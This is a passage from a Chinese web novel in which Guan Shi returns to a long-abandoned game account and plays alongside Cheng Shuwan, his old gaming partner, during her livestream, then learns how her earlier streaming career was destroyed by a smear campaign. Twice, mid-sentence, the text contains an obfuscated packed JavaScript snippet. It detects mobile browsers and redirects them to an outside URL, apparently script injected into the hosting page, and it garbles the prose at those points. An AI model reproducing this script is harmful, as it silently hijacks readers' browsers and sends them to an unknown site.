但是他刚刚说什么? 找我妈拿? 那张他随手扔掉的手机卡? 什么莫名其妙的……关时把没有点燃的香烟重新放回烟盒,转身走进屋里,敲了敲姚婉婷房间门框,“妈。” “嗯?”姚婉婷正坐在梳妆台前画眼线,举着笔半睁着眼转过头来。 “我旧手机卡,”关时看着她,“你知道在哪?” 姚婉婷把半睁的眼睛睁开了,直直盯着关时。 “喏。”她最后什么都没说,指了指自己的床头柜,“最下面一层,有个黄色的纸盒,翻一下,在里面。” 关时在床头柜跟前蹲下来,满面惊奇地从纸盒里各种老旧的小玩意儿里翻出了张手机卡,昂起头问:“你哪来的?” “那就要问新胜那小子了。”姚婉婷画好眼线,对着镜子眨了眨眼,“你扔了对吧,给他捡回来了,说还你你肯定不要,所以给我保管。” 关时捏着那张手机卡,心里突然很不是滋味,半晌打破尴尬般自嘲一声:“他还真是什么都往回捡。” “怕停机太久号码没了,我每年都往里充三百话费。”姚婉婷道,“看来你还有用,那找个时间给我把话费结清吧。” 关时:“……” 亲母子,明算账啊。 真不愧是木吉网咖的幕后老板。 “你……”他没忍住笑了声,“什么都不问?” “问什么。”姚婉婷站起来,把头发扎起来,“为什么要扔?现在为什么又要用?我管你干什么,你都二十七了。” “……得。”关时把手机卡握进掌心,“谢谢妈。” 姚婉婷诡异地看他一眼,“谢什么?咦,怪恶心的。” “你给我个数,我转账给你。”关时笑着转身走出房间,“谢谢你帮我保管。” 关时回到书房,关星玥不知道从哪个角落蹦跶出来,探过头,“什么手机卡?” “你那么八卦干什么,不是没写完作业呢么?”关时随口赶她,在电脑前坐下来开机,低头给自己的手机更换手机卡。 关星玥在旁边看他打开了《封神图录》,终于恍然大悟,“你是终于想起要登录你那个账号了?” 关时:“看看能不能登上。” “那你以后还帮我打排位么?” “看情况。” “哇,那我不该撺掇你去玩自己的号。” 关时手上的动作停下来,似笑非笑地看着关星玥。 关星玥不明所以地跟他对视。 “要不我给你发个红包喝奶茶去吧,”关时道,“别在这儿杵着。” “哦,”关星玥了然地点点头,“你是不是不给我看你号。” 关时没回答,输入旧手机号码等待验证,随手给关星玥发了个红包,“乖,一边玩去。” 关星玥更加确定了关时就是不想给她看自己的账号,不过既然他都爆金币了,她自然给这个面子,于是一边往外走,一边笑嘻嘻地调侃:“是不是要跟暗恋对象双排呀?” 关时:“……赶紧出去吧你。” “滚了滚了。”关星玥心情愉悦地走出书房。 姚婉婷没有说谎,她每年都给这个号码充话费,关时插卡进去之后,一大堆短信和未接来电统统跳了出来,粗略一看,基本来自于六七年前。 关时没多看,全部清空,等待账号登录发送的验证码。 待到手机收到短信,关时一个一个数字输入到《封神图录》的登录界面,鼠标移动到确认键上。 距离登上“二更天”这个账号只剩下一步之遥。 但他迟迟没有点下去。 小鬼叉烧,就是程舒晚。 他与程舒晚,怎么也算得上朋友了。 不过就是换一个身份去接触她而已,有什么好紧张的呢。 关时脑子里开始回荡程舒晚的话。 那个好友。 是我白月光。 你还喜欢他吗? 喜欢。 可是。 曾经的他。 到底有什么好喜欢的。 如果从前的他更招人喜欢。 那他后来经历过的那些。 又算什么。 关时按下了确认键。 登录成功。 “欢迎回归纷争战场,封神者!” 关星玥突然又从书房门口探个头过来,“哦,对了。” 关时差点把电脑屏幕关上:“干什么?” “刚刚我回来碰上程姐姐了。” 哦。 就这事。 嗯?等下? “她去网咖?”关时问。 关星玥点头,“或许是去直播哦。” 关时:“……” 完犊子。 她现在在线。 还没来得及做出任何反应,屏幕上弹出一个窗口。 “好友小鬼叉烧发来5V5排位赛邀请”。 她真的在线。 动作还挺快,看起来生怕他跑了。 关时盯着这个邀请,或许是记忆深处的画面浮上水面,刚刚盘在心口的犹豫和无措逐渐消退下去。 没什么大不了的。 他现在只是,准备去见一个老朋友罢了。 在倒计时进度条即将清零的时刻,关时移动鼠标。 点击了“确认”。 进入排位房间。 当房间中多出一个头像的时候,程舒晚才反应过来,自己刚刚手比脑子快率先发了邀请过去,甚至忘记了自己还在直播。 她看了眼弹幕,观众还没有从前脚“除非他诈尸”后脚就真的诈尸上线的戏码当中回过神来,弹幕一条一条往上蹦。 “禁止使用言出法随啊!” “主播的嘴开过光?快祝我月考进步啊(大哭)” “不是,这是剧本吧主播?” “说剧本的也要有个限度啊,去哪里搞个七年没上线的好友?” “但这个是不是太扯淡了,要不是直播谁信啊?” 程舒晚没有多余的脑容量回应弹幕的质疑,捧着被轰击得七荤八素的脑花点开了队内聊天。 打下她此刻内心最大的困惑。 -小鬼叉烧:? 嗯。 全方位困惑。 很快,二更天也发了消息。 -二更天:? 程舒晚:“……” 不是! 他扣什么问号! 他是不是搁这儿装! 他不会是把号给卖了吧? 程舒晚觉得不是没有这个可能,于是又打字。 -小鬼叉烧:本人? -二更天:嗯呢。 -二更天:好久不见,叉烧。 好久不见。 叉烧。 程舒晚的心脏开始不受控制地狂跳起来,鼓膜都跟着一下一下发振,她竭尽全力才按捺住神经,平日稳当精细操作的手指都有了一丝颤抖。 是他。 是二更天。 他真的出现了。 他还记得她。 弹幕:“主播?” “主播宕机了。” “别说主播,我也宕机了。” “还打不打游戏啊?” 程舒晚回过神来,扫到弹幕和目前的在线观众,数据很好,应该抓紧时间做留存。 但是二更天呢?如果现在放掉他,下次还有没有机会再见? 电光火石之间。 程舒晚想到个馊主意。 -小鬼叉烧:你现在有空吗? -小鬼叉烧:我在直播,随即邀请好友排位。 -小鬼叉烧:刚刚才打开好友列表,有人在问你的渊源你就上线了,弹幕现在都炸了,非要我拉你打两局。 弹幕:“?” “???” “我们说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364897|183889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的?我怎么不知道?” “主播你别泼脏水啊,我跟你闹啊!” “朋友们帮个忙。”程舒晚咳嗽一声,为了流量开始胡说八道,“纵容我追下男神。” “???” “主播你说这个我可就不困了啊!” “天哪,刚刚爱上的美女姐姐居然心里有人了!” “有瓜!主播快说啊啊啊!” “刚刚是谁说‘没有难以忘怀’来着?” “这是剧本吧,太明显了。” “卧槽,就算是剧本也得蹲蹲后续,太土太狗血了,姐喜欢!” 弹幕自己聊得挺欢的,程舒晚没管他们,盯着队内聊天,漫长得仿佛一个世纪过去,二更天才做出了回答。 -二更天:好。 他同意了。 程舒晚长舒一口气。 还好没有问她在哪直播,要是让他看见直播间,知道自己说了“追男神”这样的话。 她能当场离开地球。 -二更天:不过我现在是“星”境界,你在“无上”,没办法一起排位。 -小鬼叉烧:那匹配吧,我换个房间。 程舒晚很快就新建了个匹配房间,两人的境界差距不小,匹配时间久了点,程舒晚的目光不住地往二更天的头像瞟,不管看多少次,都感觉自己好像活在梦里。 七年不上线的游戏搭子诈尸了。 她应该说些什么吧。 可是该说些什么? 她隐约记得,当年他们最后一次打游戏的时候临近端午节,他们约定端午假期晚上要一起打端午活动,二更天还说要送她千机鸟的端午节日皮肤。 而后,端午活动那天,她没有如约上线。 她不知道二更天对她失约的事情怎么想,但是这么多年过去了,看他的态度,大概也没有对此耿耿于怀。 他那么多年没上线,或许只是普普通通的,不玩这个游戏了而已。 相比起这些问题,她现在更想知道。 这些年。 他过得怎么样。 游戏匹配成功,进入选择人物界面。 程舒晚收敛思绪,点开了只有二更天能听见的房间语音,“你玩什么?” -二更天:补位。 他没有开语音,有点遗憾。 程舒晚:“想看我玩什么?” -二更天:? “没事,我问直播间弹幕。”程舒晚解释。 -二更天:你不玩千机鸟吗? 程舒晚握着鼠标的手一紧。 他甚至记得她的拿手人物是千机鸟。 “你们想看我玩千机鸟吗?”程舒晚装模作样地问弹幕,却看都没看他们说了什么,“好,行,那我玩千机鸟了。” 弹幕:“主播你自问自答得太快了。” “啊对对对,想看,你说的都对。” “第一次看见这种不顾观众死活的主播,我真是……太爱了,反手一个关注。” “楼上的,抖M吧?” 程舒晚抢到突进位,选择了千机鸟。 轮到二更天了。 他的选择是…… 九尾狐。 果然是九尾狐。 程舒晚捻了捻手指,“二更天。” -二更天:在。 程舒晚想问你这么多年是不是都没打这个游戏,还会不会玩,需不需要时间给你熟悉人物。 可当年二更天那样怼天怼地的性格,这样的表述或许会被解读成对他的挑衅。 但是又转念一想,她现在在直播间的人设是人狠话不多的技术流女主播,没必要顾虑那么多。 大不了,她还是跟平时一样,努力点带飞全局。 “没事,”程舒晚随口道,“你别拖我后腿就行。” 直播间安静了一瞬。 程舒晚才后知后觉自己说了什么。 她想扇自己一巴掌。 这不是纯挑衅吗! 要是二更天退游戏了怎么办!那可再难找着他人了! 在程舒晚表面稳如老狗内心纠结得一匹的时候,二更天发了消息。 -二更天:哦。 -二更天:反弹。 程舒晚:“……” 她好像突然明白了那句“男人至死是少年”是什么意思。 二更天这货跟七年前一样幼稚。 幼稚的垃圾话说完之后,二更天又一连蹦上来几条消息。 -二更天:还是老样子。 -二更天:我控人,你收割,把轴合好。 -二更天:都当主播了,被我赶超的话,丢脸的是你哦。 程舒晚突然恍惚了。 仿佛。 一切都没有改变。 七年前那个少年,就坐在屏幕的那头,语气欠揍懒散,嬉皮笑脸地回应她的垃圾话。 “……呵。”她嗤笑一声,“滚。” 25. 出头 听到耳机里那声带着笑意的“滚”,关时知道他这算是把程舒晚忐忑的情绪给顺好了。 这姑娘还挺好哄的……哦,也有可能因为对方是“二更天”。 想到这里,关时的心情又稍微回落下去。 他抬眸,目光停留在“二更天”这个名字上。 突然想到一些事情。 自己用这个账号跟小鬼叉烧搭档的时候他刚上大一,整日逃课逃学,回网吧招呼生意,没少被姚婉婷撵出去,指着鼻子骂上课时间不在学校待着就打断他的腿。 他回不了自家店里,就招呼一帮兄弟跑到两条街外当时生意最好的网吧里玩,一来二去和他们家网管和老板混熟了。 那网吧老板做梦都没想到,招呼这么一大帮半大小子的关时,居然是为了让他们打掩护,好打探店里的运营模式,模仿学习。 在那个天不怕地不怕的年纪,关时可以说是天赋异禀,同时拥有成年人的八面玲珑和少年人的狡黠嚣张,在游戏里也毫不收敛,常常把别人耍得团团转,幼稚地出言嘲讽。 直到碰见小鬼叉烧这个硬茬。 他记得那天自己跟往常一般,以身为饵勾引对方突进位偷袭,然后塔下控制恶心人,恶劣至极。 转头,那个暴脾气的千机鸟一阵天秀操作将他反杀。 不对付了一整局之后,下一把居然又匹配成了队友。 起初是因为好玩儿,软磨硬泡加上了她的好友,但随着双排时间变多,关时发现她跟所有其他遇到过的玩家都不太一样。 小鬼叉烧每周只有周五周六两个晚上能上线,估计家里管得严,但仅仅靠这么短的时间就能训练出这么高超的游戏技术和意识——这些都不是最重要的。 最重要的是,她的游戏风格,有一股沉寂的疯劲儿。 那种即便是面对他幼稚的挑衅,也一定要憋着股气,凭借实力找回场子的劲儿。 像是不顾一切都要挣脱出樊笼的。 爆发前的沉默。 关时回神来,看了眼加载界面,趁着这个档口打开手机的游播社,搜索了小鬼叉烧的直播间。 小鬼叉烧的直播间里有一百多人,即便是流量很足的《封神图录》,对于刚开播的新人来说也是相当亮眼的数据了。 还是要归功于他这个“二更天”的戏剧化上线吧。 关时把挂着直播的手机放在旁边。 虽然这种隐瞒身份又偷窥的行径为对程舒晚来说有些过分,甚至显得她有些可怜,但如果不看直播,关时总觉得会错过什么。 毕竟,他此行是来寻求答案的。 程舒晚,究竟是怎么看待“二更天”的呢? 那个把自己拧成一根锋利的针的姑娘。 会如何看待过去同样锋利的他。 这个念头刚刚浮现,弹幕上就闪过一条。 “姐姐上把刚玩九尾狐,这把男神就拿了,不会是心有灵犀吧。” 关时:……? ? 男神? 什么男神? 游戏读条结束进入对局,关时不得不手握鼠标键盘进入状态,但是仍然没回过神来,对着那条弹幕分析再三,终于得出结论。 程舒晚上一把玩的是九尾狐。 这把是他拿了九尾狐,所以男神指的是他。 ……他啊? 二更天啊? 就说不看直播间果然会错过什么吧! 很难想象到“男神”这种古早的称谓是程舒晚说出来的,但是如果她不说,弹幕大概也不会这么称呼二更天。 她会这么坦然地对弹幕说出“这是我男神”之类的话吗? 关时尝试在脑子里搜索反驳的例子,但是率先跳进脑海的,是程舒晚面无表情说“那个网友是我白月光”的情景。 哦。 她确实会。 这件事对她来说很无所谓吗? 还是说,能说出来的部分,其实没那么重要?她还隐瞒了什么? 但他也不比那些网友多知道多少。 难道说在她心里,自己跟那些网友是同一档的关系? “一会儿需要支援随时叫我。”程舒晚的声音在耳机里响起,将关时的注意力重新拉了回来, -二更天:好。 打完回复,关时又靠着椅背,一边操纵九尾狐往中路走去,一边盯着直播间的画面,眉眼间铺着层不服气。 直播间除了游戏画面之外,还有一个对准操作鼠标键盘的摄像头,程舒晚那双在游戏里杀敌千万的手虚搭在键盘上,纤长素白,骨骼清晰。 这双手,关时当初帮她上药的时候握过。 程舒晚的手不宽不厚,只附着一层薄薄的皮肉,触感微凉,不至于拒人千里,却怎么都捂不热。 但现在跟“二更天”说话的时候。 倒是比对着“关时”要热情得多。 关时心里堵得烦躁,只能险险扯住,强行把注意力拽回来,按回到游戏对局里去。 游戏刚刚开始,正在第一波对线的阶段。 关时并没有经常玩《封神图录》,只是偶尔拿关星玥的号跟苏新胜排排位,不过技术和游戏思路仍在,兵线拉扯和技能释放几乎是刻在肌肉里的,三下五除二就把对线的敌方血量压了下去。 再加上心情不佳,压线起来格外凶。 突然,他眼角余光瞄到小地图上,千机鸟的图标靠近了中路,程舒晚在离他不远的草丛埋伏起来。 她还是那么喜欢支援中路。 关时在心里腹诽,不过程舒晚的到来还是让他打起精神——因为他瞬间就明白她来的意思。 对面的残血中路龟缩着用技能清理兵线,关时假意继续往里压线,却接连吃了两个技能,血线下去三分之一,技能也放歪了,连忙撤退。 对面中路看着有戏,追了上来。 随后。 草丛里埋伏的程舒晚瞬间启动,一记刀光捅进对方血条,漏水一般刷刷刷狂掉。对面也终于反应过来这是陷阱,慌乱后撤,关时的技能却及时地从天而降,强控! 击杀! “优秀。”程舒晚出声赞道。 关时回了个大拇指。 程舒晚没多话继续刷野,中路的战斗告一段落的关时没事可做,也跟着她同去野区蹭经济。 一种微妙的感觉逐渐在心底蔓延开,替代了那阵烦躁。 距离上一次以二更天的身份与小鬼叉烧打配合,已经是非常久远的事儿了。 隔了那么久再次合作,明明双方什么都没问,什么都没说。 但那些习惯,仍然没有谁忘掉。 弹幕:“刚刚好标准的配合啊。” “刚刚主播没有说话吧,男神居然马上get到了。” “这点程度的配合还是正常啦,刚刚中路的引诱比较厉害。” “就是,主播也就那样,都不知道其他人在颅内高潮什么,剧本而已。” 关时扫到最后一条弹幕,眼神稍稍冷了下来,扫了眼在线观看,比刚刚又涨了,快要接近两百人。 怪不得,林子大了什么鸟都有。 才好容易攒好心情又遭到破坏,他现在又有些不爽起来。 有人也不满这个弹幕:“不爱看就滚呐,显得自己很高贵是吧。” “我说错了吗?”这人道,“主播就是普通玩家基操而已,是那个所谓的男神更牛吧,抱大腿就抱大腿,还挂什么技术流的标题。” 嚯。 还有胆子继续说。 关时刺笑一声,用理智将情绪按下——他现在的角色是游戏里的队友而非直播间观众,这件事情需要程舒晚这个主播来处理。 耳机里传来一声程舒晚的轻嗤。 “你说得对,”她回应那个弹幕,“我抱大腿抱到七十三连胜。” “破防了啊?”那人说。 程舒晚:“啊对对对。” 嗯,小鬼叉烧主播运用的是摆烂战术。 的确,这件事没有争辩的价值,带着有色眼镜的人不可能会承认她的厉害,而要真的拿出成绩证明自己,也不是现在三言两语就能说通的,跟他争辩没有任何意义。 而且关时隐约觉得,以程舒晚的性子来说,她大概懒得也不屑于跟 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-二更天:这么想展示脑干缺失的残缺美,开个直播吧,我一定捧场,毕竟挺稀奇的。 他还没说完,弹幕上吃瓜群众早就一片“哈哈哈”刷过。 “男神哥的嘴淬了毒一样!” “太搞笑了那人都不说话了!” “不是主播,这还用追?这还用追??” “我越来越相信这是剧本了,主播快解释一下!” “七年没上线还能给主播打抱不平,这是真爱啊!” “主播名言:《只是网友》《没有难以忘怀》” “楼上的,你忘记主播后面的话了?‘除非诈尸’!不是刚说完男神哥就诈尸了吗!” 关时听见耳机里就传来程舒晚没憋住的轻笑,手上怼人的动作微顿,随后见好就收。 “二天。”程舒晚道,“你老实说,你是不是在直播间?” 骂得太露骨,她发现了。 关时犹豫了下要不要扯谎,又觉得这时候否认显得太刻意,索性学着程舒晚的样子坦言以对。 -二更天:猜猜看。 程舒晚“嗯”了声,沉默了会儿才传来声音,“那其他弹幕,你都看见了。” 她默认他在直播间了。 所谓的其他弹幕……关时扫了眼手机,被弹幕上一口一个“男神哥”给晃瞎了眼。 太土了! 土得要死! -二更天:我不想承认“男神哥”是在说我。 程舒晚:“……” 她没说话,关时也没发文字,耳机里一时间只有游戏内的声音。 不知道过了多久,她仿佛是调整好心态,又像是做了什么决定一般,开口道:“你没什么想问的?” ——有。 太有了。 从她说出“那网友是我白月光”的时候。 关时就满腹疑问想宣之于口。 此刻程舒晚递来话头,他几乎下意识就想把这些问题全部吐出来,“你喜欢我什么呢”已经打在聊天框里,就差点下发送键。 但临了,他又挨个字挨个字地删除了。 诚然,他上线就是为了这个问题,疑问解答之后就没有理由继续留在这个游戏,这个账号里了。 可是。 程舒晚呢? 她留着小鬼叉烧的账号,等了他七年。 人生有几个七年。 不管他就此下线消失,还是坦白自己就是关时,对程舒晚来说,都无异于将那层用七年小心翼翼编织的壳子砸个窟窿。 关时沉默地清理兵线,蓝条耗尽之后点击回城,这才把双手放到键盘上。 干脆。 就现在这样吧。 -二更天:哦。 -二更天:没什么好问的。 -二更天:毕竟我人见人爱,你迷恋我也不是不能理解。 耳机里是长久的沉默。 程舒晚:“死远点。” 26. 甘愿 说实话,程舒晚现在有些茫然。 一开始为了抓住这个突然诈尸的家伙别跑,又为了流量留存,她随口胡诌了句“追男神”——某种意义上来说也不完全算胡诌,她在年少时的确喜欢过二更天。 本来也就是自己知道得了。 可是后面怎么发展成这样的。 怪她,游戏ID和直播账号ID起名一模一样,随手就能搜索到。 程舒晚在这边郁闷自己的失误,那头的弹幕却是一片“哈哈”地刷着,调侃男神哥无与伦比的自恋与幽默感。 网友还是太看热闹不嫌事大了。 好在二更天看起来对是她男神这件事坦然而淡定,也好,省得她尴尬。程舒晚观察了好一阵二更天都没有什么反应,松了口气,继续专注于对局。 但还是有个想法在脑子里酝酿起来。 二更天。 是不是太沉稳了些。 不管是重新上线游戏被她秒邀请,听她表明自己在直播,又或者是后面勘破她的“男神”之言,为她出言回怼不友善的观众……都比她预想的要沉着冷静。 就好像,他对这些都有心理准备一样。 可是怎么可能呢。 大概是因为涨了年纪和阅历,对很多事情见怪不怪了? 应该是吧。 这么说来,二更天现在应该也有二十六七岁了,也不知道长什么样子。 以他的个性来说……这个念头一起,程舒晚脑子里冷不丁浮现出一道高大的,收敛着痞气和刺,显得温和的青年身影。 等等。 为什么这个青年长的是关时的脸。 程舒晚手一抖差点把闪现给摁了,连忙收敛思绪,不敢再乱七八糟想。 她无法想象如果电脑那边的二更天是关时的情景,这太吓人了。 如果是真的,她会尴尬得当场从地球上消失。 马不停蹄那种。 匹配赛不比排位赛那样紧张,就算两人各怀鬼胎神神游游地划水,也依然不怎么艰难地拿下了胜利。 程舒晚问二更天:“再玩一局?” -二更天:嗯。 下一把对局,程舒晚补位了个进攻位的人物,二更天依然是中路控制位,打着陌生又默契的配合。 直播间的观众人数也基本稳定在一百六七十左右,毕竟也没什么活动和冲分,剩下这些人也就是看程舒晚与男神哥互动配合,吐吐槽,跟她聊聊天。 程舒晚向来话少,不过跟游戏有关的话题她会稍微热烈些,关时也是这时候才注意到,其实她打游戏的时候碎碎念很多。 “绕后。” “啊,这个上路三个技能空俩,菜菜的。” “等等,CD呢。” “死。” “没跑掉,哭哭。” 弹幕:“主播怎么能毫无波澜地说‘哭哭’这样的话,好搞笑啊。” “可爱捏。” “主播好像个念台词的人机。” 关时灌一耳朵程舒晚的嘀咕有点乐,也不知道她这么多话到底是跟他说还是跟观众说。 明明上次在网吧和他一起打游戏的时候可没现在这么活泼。 他突然有点不服。 就在这时,一条言论闯进视野。 “主播声音有点像早早不起早啊。” 关时目光凝了凝,心脏都提程舒晚稍微攥了一把。 “二塔可以点掉了。”程舒晚却仿佛没看见这条弹幕,依然在碎碎念着游戏对局。 好在并不是所有人都认识阿早,这条言论很快被刷上去,消失在一众弹幕之中。 关时不确定程舒晚是单纯没看见还是故意忽视了,但他觉得后者的可能性更大。 程舒晚似乎。 对那年退网的事情从来都闭口不谈。 这是有点奇怪的。 程舒晚说自己不打算重启早早不起早这个账号,关时其实挺意外。 当初程舒晚并不是主动退网,而是遭到了破坏性的针对。辛辛苦苦一手经营的账号毁于一旦,他以为凭她的性子,从哪里跌倒就要从哪爬起来。 为什么会选择从头来过呢? 明明憋着一股不服输的劲儿。 没来由的,关时想到了程舒恒。 他隐隐有个直觉。 或许程舒晚的选择,跟她的家庭有关系。 想到这儿,关时压下眉眼,沉默下去。 打了三把游戏之后,面对程舒晚是否要继续打的疑问,关时给出了否定的回答。 -二更天:要下了。 程舒晚对弹幕说了声“等下”,暂时关掉了直播间的麦克风和游戏画面,这才对他道:“加个微信吧。” 关时愣了片刻,差点要笑出来。 很奇妙。 他主动加她微信的时候受尽冷眼,苏新胜加她微信的时候点头答应,现在到二更天身上,反而变成程舒晚主动来要。 坦白说,他真的如程舒晚所言,对自己的人格魅力有些怀疑了。 -二更天:不了。 -二更天:还是游戏联系吧。 “哦。”程舒晚有些失落,但没有持续多久,“你之后还会玩《封神图录》?” -二更天:嗯。不过平时比较忙。 关时打字的手微顿,嘴角轻轻勾了勾,露出有点柔软温柔的表情。 -二更天:要一起玩的话,老时间吧。 老时间? 程舒晚盯着这几个字发愣。 -二更天:忘记了? 不,没有。 程舒晚只是一时半会儿没能相信自己理解的那个答案。 七年多……八年以前,在那次颇具戏剧性的初次相遇之后,二更天死乞白赖地加上了她的游戏好友。在下一周程舒晚上线的时候,他第一时间发来消息。 跟个死皮赖脸的泼皮一样。 -二更天:你一星期没上线? -小鬼叉烧:要上学。干什么? -二更天:五排吗?缺一。 -小鬼叉烧:不。 -二更天:不喜欢那么多人? -小鬼叉烧:有你一个就够吵的。 -二更天:哦。 -二更天:那只有我一个,行不行? -小鬼叉烧:? -二更天:上次我们匹配队友那次,我俩挺默契的。 -小鬼叉烧:…… -二更天:你每周什么时间上线?一起双排上分? -小鬼叉烧:滚呐。 “……我记得,周五周六,晚上七点半到十一点半。”程舒晚紧紧攥着耳机的麦克风,呢喃般重新念了一遍,“老时间。” -二更天:嗯,不见不散。 “……不见不散。” 道别之后,二更天退出了匹配房间,程舒晚点开好友列表,他的头像一闪变成了灰色。 上次登录,刚刚。 不再是遥遥无期的纪年。 程舒晚深深吸了一口气,长长地呼出来,仿佛按下暂停键般呆坐了几秒,这才重新打开麦克风和游戏画面。 “我们接着排位吧。”她对弹幕说道。 关时背靠着椅背,盯着登出游戏后的界面许久。 他习惯性地从口袋里摸出烟盒抖出一支香烟,刚凑到嘴边突然想到什么,又把它放了回去,伸出手指,慢慢在游播社的搜索栏里一个字一个字输入“早早不起早”。 搜索出来的除了程舒晚那个早已退网的账号之外还有不少视频,有直播切片,有她的攻略视频,然而排在第一个的视频来自三年多前,标题是: “学历造假?骗粉丝钱?梳理游戏主播早早不起早人设崩塌大瓜始末!” ——崩塌你妈。 关时握着鼠标的手摩挲了下,表情有些不适,但还是点了进去。 视频刚开始就是一大堆截图快闪,伴随故作夸张的配乐,生怕调动不了观众情绪似的,挺吵闹,关时手指一划滚轮把声音调小。 “《封神图录》女主播早早不起早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364899|183889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人设崩塌?快来看看究竟发生了什么吧!”博主声情并茂地盘点起来。 “众所周知,早早不起早——简称阿早,以高超的游戏技术在游播社小有名气,其千机鸟出神入化无往不利,而且还是个大学霸!” “从早期的直播间聊天中,阿早无意透露过自己的大学,是全国top10的海大。” “这在游戏主播当中可谓是高学历,阿早也因此收获很多粉丝的簇拥和崇拜,但是!”博主话锋一转,“就在今年十月二十三号,有个叫‘醉眠’的网友曝光了和阿早的聊天记录,爆出一个惊天秘密——阿早的高考只有三百多分!” “那么阿早究竟是怎么考进的海大?” “面对网友的质疑,阿早十月二十四号晚上的直播中义正言辞自己不认识醉眠,而且自己是正儿八经考进海大的,也晒出了六百八十二分的高考成绩,但奇怪的是却没有露出自己的名字。” “双方各执一词,醉眠却在这时候放出大瓜——他是阿早的粉丝,也是男友!” “他同时还曝光了和阿早的合照(打码),用于直播的书桌桌面,经过博主自己的对比,确实是阿早直播时摄像头所拍摄的场景,桌面、键盘、鼠标完全一致。” “醉眠说,自己在恋爱期间为阿早花了很多钱,阿早从来没有拒绝过,骗了两万块钱之后断崖分手!” “有人对醉眠的曝光提出质疑,说他的聊天记录、转账记录都有P图的痕迹,阿早在直播中强调没有此事,她会放出证据,但是从二十六号开始,阿早除了发布一条直播请假动态之后就再也没有做出过回应,直接人间蒸发,无疑是把所有支持她的粉丝来了一记狠狠的背刺!” “如果醉眠说的是假的,为什么阿早不做回应?截止目前已经过去了一个星期,阿早仍未现身,她在害怕什么?又在掩饰什么呢?” 视频后面是一些猜想和假设,关时没有看完,忍无可忍地关掉了,起身来往外走,在阳台透了口气。 四年多前,他无意刷到早早不起早的直播。 那会儿他早就没玩《封神图录》了,本来想划走,但是看到屏幕上的千机鸟,鬼使神差地停在这个界面。 他听到了主播的声音,恍惚了许久。 阿早的打法,声音,语气。 都太像小鬼叉烧了。 关时当时在专插本考试和接手网咖事务之间连轴转,只能抽着空有一搭没一搭地看阿早的直播,就这样看了半年的时间。 其间不知道从什么时候起,他已经潜移默化把阿早当做了那个曾经同行一年,素未谋面的游戏搭子。 叉烧那么喜欢游戏。 成为游戏主播,或许也是她所期待的吧。 可是。 到底是谁。 把她的愿景。 把她的热爱。 全部碾成一地的碎片。 在确认阿早消失不再回来那天晚上,关时难得停了学习计划,在阳台站着,烟一根接着一根抽,隔天嗓子都是哑的。 他知道。 他知道那些子虚乌有的爆料,就是一场彻头彻尾的针对和无聊的谎言。 他明明知道。 可不要说支撑她,鼓励她。 他连她是谁都不知道。 关时回想起半年前,在程舒恒的葬礼上看见程舒晚的第一眼。 灵堂里,身边的母亲情绪崩溃,父亲酝酿着满面的乌云,只有程舒晚那清瘦的身躯,沉默地,凉淡地站在一边。 对什么事都漠不关心一般。 他觉得。 她大概是累了。 这么长的路。 都是她一个人走下来的吗? 关时深吸一口气,双手交叉夹在阳台的边沿上,微微撸起袖子,左手拇指在右手的刀疤上摩挲了下。 现在。 不一样了。 他能做到。 只要是她想要的。 尽情开路吧,搭档。 你的障碍。 我来帮你扫。 27. 落雨 程舒晚下播的时候是下午五点,太久没有一下子讲这么多话,嗓子跟沙漠里暴晒三天的鱼一样,她起身下楼去网咖的小卖部拿水,却发现关时坐在大厅靠走廊的空机座位上刷手机。 他上班的时间太自由了,程舒晚也闹不清他什么时候会出现在网咖里,不过既然碰上,还是走过去打声招呼,“关时。” 关时抬起头望见她,点头做了回应。 却什么都没说。 程舒晚已经习惯跟关时眼神接触之后他就打开话匣子的场面,现在他不说话,她反而不适应了,想想自己也没什么话说,在桌边站了半秒就抬腿往小卖部的方向走。 “舒晚。”关时突然又叫她。 程舒晚转过头,“嗯?” “你开播,”关时半垂着眼皮瞧着她,似笑非笑的,“是不是没告诉我。” 啊。 程舒晚:“你看了?” “偶然刷到了。”关时撑着下巴,神情相当无辜地望着程舒晚,无声控诉她没有第一时间把开播的事情告诉他这个唯一的投资人。 “忘了。”程舒晚真诚道,“真忘了。” 关时叹口气,“冷漠的女人。” 程舒晚:“……” 关时:“那还有忘记告诉我的事吗?” 程舒晚仔细想了想有什么关时会在意的事情,回忆起当时他说提供直播间作为场地,要分个红。 “今天播了五个小时,收益是九十五块钱。”程舒晚道,“第一天开播数据不稳定,起码一个月才能看出点成果,明天开始我会改成晚上七点到十二点直播,这段时间流量多。回去我写个账号规划,之后每周末再总结个数据分析给你。” 关时:“……” 他没说话,盯着程舒晚的目光有些诡异。 程舒晚反省了下,可能是自己这番说辞班味过重,震撼了这个没打过工的少爷老板,于是虚心请教,“你还想知道什么事?” “……”关时把手机揣进兜里,轻描淡写地笑了一声,“你那个白月光上线了?” 哦,这事儿啊。 关时居然率先关注的不是钱,而是她的私事。 程舒晚腹诽到这儿,逐渐有些尴尬起来。 之前提二更天的时候能那么坦然,是因为关时不认识对方,只知道个名字,但如果关时看了今天的直播,那就完全不一样了。 毕竟刚刚的直播,相当于是把“我要追二更天”几个字写在她脸上。 让关时看见未免太丢人了点。 “……嗯,上线了。”程舒晚硬着头皮道,“不过,不影响直播。我利用这事儿做做数据,直播间说的……追他、男神之类的话,你不用相信,就当做人设。” 